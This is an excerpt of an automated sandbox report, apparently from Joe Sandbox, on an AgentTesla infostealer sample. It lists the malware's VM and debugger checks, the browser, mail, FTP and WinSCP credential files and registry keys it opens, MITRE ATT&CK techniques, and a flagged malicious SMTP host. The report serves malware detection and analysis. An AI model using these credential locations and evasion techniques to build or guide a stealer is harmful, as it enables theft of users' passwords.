Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 99891	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 99754	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 99595	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 99469	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 99360	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 99235	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 99110	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 98985	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 98860	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 98735	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 98610	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 98485	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 98360	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 98235	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 98110	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 97985	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 97860	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 97735	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 97610	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 97485	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 97360	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 97188	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 97035	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 96910	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 96782	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 96657	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 96532	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 96407	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 96282	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 96172	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 96063	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 95938	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 99906	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 99796	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 99687	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 99578	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 99468	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 99359	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 99249	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 99140	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 99031	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 98902	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 98796	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 98687	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 98577	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 98468	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 98359	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 98248	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 98140	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Thread delayed: delay time: 98031	Jump to behavior

Source: LisectAVT_2403002A_52.exe, 00000003.00000002.4472594984.0000000002981000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: LisectAVT_2403002A_52.exe, 00000003.00000002.4471130246.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: vmware
Source: LisectAVT_2403002A_52.exe, 00000003.00000002.4471130246.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: VMwareVBox
Source: LisectAVT_2403002A_52.exe, 00000003.00000002.4471765496.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe

Code function: 3_2_029271E8 CheckRemoteDebuggerPresent,

3_2_029271E8

Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe

Process created: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe "C:\Users\user\Desktop\LisectAVT_2403002A_52.exe"

Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Queries volume information: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Queries volume information: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 0.2.LisectAVT_2403002A_52.exe.37a4cb8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.LisectAVT_2403002A_52.exe.37e12d8.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.LisectAVT_2403002A_52.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.LisectAVT_2403002A_52.exe.37e12d8.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.LisectAVT_2403002A_52.exe.37a4cb8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.4472594984.00000000029AE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4472594984.0000000002981000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4471130246.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2020608917.000000000369E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002A_52.exe PID: 2748, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002A_52.exe PID: 6380, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 0.2.LisectAVT_2403002A_52.exe.37a4cb8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.LisectAVT_2403002A_52.exe.37e12d8.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.LisectAVT_2403002A_52.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.LisectAVT_2403002A_52.exe.37e12d8.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.LisectAVT_2403002A_52.exe.37a4cb8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.4472594984.0000000002981000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4471130246.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2020608917.000000000369E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002A_52.exe PID: 2748, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002A_52.exe PID: 6380, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 0.2.LisectAVT_2403002A_52.exe.37a4cb8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.LisectAVT_2403002A_52.exe.37e12d8.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.LisectAVT_2403002A_52.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.LisectAVT_2403002A_52.exe.37e12d8.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.LisectAVT_2403002A_52.exe.37a4cb8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.4472594984.00000000029AE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4472594984.0000000002981000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4471130246.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2020608917.000000000369E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002A_52.exe PID: 2748, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002A_52.exe PID: 6380, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	231 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	21 Input Capture	34 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	1 Credentials in Registry	531 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	21 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	261 Virtualization/Sandbox Evasion	SSH	1 Clipboard Data	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	261 Virtualization/Sandbox Evasion	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
LisectAVT_2403002A_52.exe	100%	Avira	TR/Dropper.MSIL.lyrwn
LisectAVT_2403002A_52.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://account.dyn.com/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	0%	URL Reputation	safe
http://ip-api.com/line/?fields=hosting	0%	URL Reputation	safe
http://ip-api.com	0%	URL Reputation	safe
http://smtp.thanhancompony.com	100%	Avira URL Cloud	malware
http://tempuri.org/Locations.xsdkServer=ARCHIT;Database=Sample;Trusted_Connection=TrueUPlease	0%	Avira URL Cloud	safe
http://us2.smtp.mailhostbox.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
us2.smtp.mailhostbox.com	208.91.198.143	true	false	unknown
ip-api.com	208.95.112.1	true	true	unknown
smtp.thanhancompony.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://ip-api.com/line/?fields=hosting	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://smtp.thanhancompony.com	LisectAVT_2403002A_52.exe, 00000003.00000002.4472594984.00000000029B4000.00000004.00000800.00020000.00000000.sdmp, LisectAVT_2403002A_52.exe, 00000003.00000002.4472594984.00000000029D6000.00000004.00000800.00020000.00000000.sdmp, LisectAVT_2403002A_52.exe, 00000003.00000002.4472594984.0000000002D0E000.00000004.00000800.00020000.00000000.sdmp, LisectAVT_2403002A_52.exe, 00000003.00000002.4472594984.0000000002DAB000.00000004.00000800.00020000.00000000.sdmp, LisectAVT_2403002A_52.exe, 00000003.00000002.4472594984.00000000029C4000.00000004.00000800.00020000.00000000.sdmp, LisectAVT_2403002A_52.exe, 00000003.00000002.4472594984.0000000002D81000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://account.dyn.com/	LisectAVT_2403002A_52.exe, 00000000.00000002.2020608917.000000000369E000.00000004.00000800.00020000.00000000.sdmp, LisectAVT_2403002A_52.exe, 00000003.00000002.4471130246.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://us2.smtp.mailhostbox.com	LisectAVT_2403002A_52.exe, 00000003.00000002.4472594984.00000000029B4000.00000004.00000800.00020000.00000000.sdmp, LisectAVT_2403002A_52.exe, 00000003.00000002.4472594984.00000000029D6000.00000004.00000800.00020000.00000000.sdmp, LisectAVT_2403002A_52.exe, 00000003.00000002.4472594984.0000000002D0E000.00000004.00000800.00020000.00000000.sdmp, LisectAVT_2403002A_52.exe, 00000003.00000002.4472594984.0000000002DAB000.00000004.00000800.00020000.00000000.sdmp, LisectAVT_2403002A_52.exe, 00000003.00000002.4472594984.00000000029C4000.00000004.00000800.00020000.00000000.sdmp, LisectAVT_2403002A_52.exe, 00000003.00000002.4472594984.0000000002D81000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	LisectAVT_2403002A_52.exe, 00000003.00000002.4472594984.0000000002951000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	LisectAVT_2403002A_52.exe	false	URL Reputation: safe	unknown
http://tempuri.org/Locations.xsdkServer=ARCHIT;Database=Sample;Trusted_Connection=TrueUPlease	LisectAVT_2403002A_52.exe	false	Avira URL Cloud: safe	unknown
http://ip-api.com	LisectAVT_2403002A_52.exe, 00000003.00000002.4472594984.0000000002951000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
208.91.198.143	us2.smtp.mailhostbox.com	United States		394695	PUBLIC-DOMAIN-REGISTRYUS	false
208.95.112.1	ip-api.com	United States		53334	TUT-ASUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1482189
Start date and time:	2024-07-25 19:16:56 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	LisectAVT_2403002A_52.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/1@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 86 Number of non-executed functions: 8
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: LisectAVT_2403002A_52.exe

Simulations

Behavior and APIs

Time	Type	Description
13:17:42	API Interceptor	11256986x Sleep call for process: LisectAVT_2403002A_52.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.91.198.143	SecuriteInfo.com.Win32.PWSX-gen.14778.18726.exe	Get hash	malicious	AgentTesla	Browse
	8hOkq9mMQu.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	Order List Pdf.exe	Get hash	malicious	AgentTesla	Browse
	payment order.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	Mt103.exe	Get hash	malicious	AgentTesla	Browse
	PO-070724-WA00002.exe	Get hash	malicious	AgentTesla	Browse
	Swift Copy_98754.bat.exe	Get hash	malicious	AgentTesla	Browse
	Remittance Advice.exe	Get hash	malicious	AgentTesla	Browse
	Dhl_waybill#.exe	Get hash	malicious	AgentTesla	Browse
	z99WYGoGNBYnFW14sJ.exe	Get hash	malicious	AgentTesla	Browse
